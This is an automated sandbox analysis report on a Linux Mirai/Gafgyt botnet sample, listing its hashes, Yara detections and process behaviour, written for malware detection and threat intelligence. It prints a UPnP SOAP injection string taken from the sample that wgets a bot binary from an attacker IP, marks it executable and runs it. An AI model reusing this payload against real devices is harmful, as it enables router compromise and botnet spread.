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Linux Analysis Report
momo.x86.elf

Overview

General Information

Sample name:	momo.x86.elf
Analysis ID:	1584463
MD5:	b5c86afc239c491746abbd89b191333f
SHA1:	f232d68f6004017dcf849fdaff1764b947af76d3
SHA256:	0da8e536e0ff3c4b678b84804168cb3d2bca85ae58847adfd5e9d6c3c0e213a8
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	68
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Machine Learning detection for sample

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584463
Start date and time:	2025-01-05 15:24:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	momo.x86.elf
Detection:	MAL
Classification:	mal68.troj.linELF@0/0@0/0

Warnings

VT rate limit hit for: http://123.253.61.116/fuck/momo.arm7;chmod
VT rate limit hit for: http://123.253.61.116/fuck/momo.mips;
VT rate limit hit for: http://123.253.61.116/fuick/momo.x86

Runtime Messages

Command:	/tmp/momo.x86.elf
PID:	6219
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	SpasoBuild-BadWolf-MomentumProduc
Standard Error:

Process Tree

system is lnxubuntu20

momo.x86.elf (PID: 6219, Parent: 6135, MD5: b5c86afc239c491746abbd89b191333f) Arguments: /tmp/momo.x86.elf

momo.x86.elf New Fork (PID: 6220, Parent: 6219)

momo.x86.elf New Fork (PID: 6221, Parent: 6220)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
momo.x86.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
momo.x86.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf380:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf394:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf40c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf420:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf434:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf448:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf45c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf470:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf484:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf498:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf510:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
momo.x86.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x5380:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
momo.x86.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xb702:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
momo.x86.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xe38c:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
momo.x86.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xcd29:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
momo.x86.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xb6d2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6221.1.0000000008048000.000000000805b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6219.1.0000000008048000.000000000805b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6221.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf380:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf394:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf40c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf420:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf434:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf448:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf45c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf470:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf484:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf498:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf510:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6221.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x5380:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6221.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xb702:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6221.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xe38c:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6221.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xcd29:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6221.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xb6d2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6219.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf380:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf394:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf40c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf420:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf434:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf448:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf45c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf470:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf484:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf498:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf4fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf510:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6219.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x5380:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6219.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xb702:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6219.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xe38c:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6219.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xcd29:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6219.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xb6d2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Process Memory Space: momo.x86.elf PID: 6219	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x68b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x69f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6b3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6c7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6db:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x703:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x717:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x72b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x73f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x753:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x767:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x77b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x78f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x807:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x81b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: momo.x86.elf PID: 6221	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x68b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x69f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6b3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6c7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6db:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x703:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x717:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x72b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x73f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x753:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x767:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x77b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x78f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x807:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x81b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 11 entries

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 123.253.61.116 -l /tmp/bigH -r /fuck/momo.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: momo.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: momo.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: momo.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: momo.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: momo.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: momo.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6221.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6221.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6221.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6221.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
